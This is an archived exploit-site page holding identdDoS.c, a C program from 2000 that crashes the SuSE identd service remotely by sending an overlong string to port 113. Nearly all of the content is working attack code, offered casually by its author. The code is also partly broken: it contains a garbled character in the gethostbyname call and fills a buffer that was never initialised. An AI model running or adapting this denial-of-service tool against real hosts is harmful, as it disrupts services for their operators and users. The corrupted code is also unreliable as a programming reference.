exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

identdDoS.c

identdDoS.c
Posted Dec 24, 2000
Authored by Root-dude

SuSE identd remote denial of service attack - Uses a long sting to set a pointer to NULL.

tags | exploit, remote, denial of service
systems | linux, suse
SHA-256 | 5428c66fd108f4593af53e80bdb814ea4c560c05eda8deea3e7caaa7e617830e

identdDoS.c

Change Mirror Download
/* --------------------------------------------------------------------------------------------------------------------------------------
this dosses the SuSe ident server, that it !!! (btw THIS IS NO BUFFER OVERFLOW, the
server just crashed becoz it thinks the string is to long and sets some pointer to NULL, that's
wat make's it crash, adleast that is wat the advisory i read said)
------------------------------------------------------------------------------------------------------------------------

identdDoS.c

--| BOF| -- */
/*
* identdDoS.c
* written by R00T-dude
* based upon an advisory I found on sec-focus
*
* enjoy :)
*
* oh, just in case you think this there is a buffer overflow possible, there ISN'T
* the ident server thinks that the string send is to big so it sets a pointer to NULL
* and that makes it crash !!!!
*
* I tested this at home and it worked fine
* however I an in an inet. cafe right now and this code isn't tested, so if you find mistakes in it
* please don't bitch bout it (thx in advance)
*
*/

#include <stdio.h>
#include <sys/socket.h>
#include <netdb.h>
#include <string.h>

int main(int argc, char **argv)
{
struct sockaddr_in sin;
struct hostent *hp;
char stuff[1200];
int sock, conn, i ;

if (argc < 2)
{
fprintf(stderr, " useage :: %s 127.0.0.1 ", argv[1]);
exit(0);
}

if ( (hp = gethostbyname§argv[1]) == NULL)
{
fprintf(stderr, "hostname doesn't match !");
exit(0);
}

sock = socket(AF_INET, SOCK_STREAM, 0);
if (sock < 0)
{
fprintf(stderr, "socket() doesn't work !");
exit(sock);
}

sin.sin_family = AF_INET ;
sin.sin_port = htons(113);
sin.sin_addr.s_addr = inet_addr(argv[1]);

conn = connect(sock, (struct sockaddr *)&sin, sizeof(sin));
if (conn < 0)
{
fprintf(stderr, "connect() doesn't work !");
exit(conn);
}

printf("sending stuff... ");
for(i=0; i < 1100; i++)
{
strcat(stuff, "a");
}

send(sock, stuff, sizeof(stuff), 0);
close(sock);
printf("done \n");
}

--| EOF |--

none
____________________________________________________________
Get your own FREE Web and POP E-mail Service in 14 languages at https://www.zzn.com.
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    38 Files
  • 24
    Sep 24th
    65 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close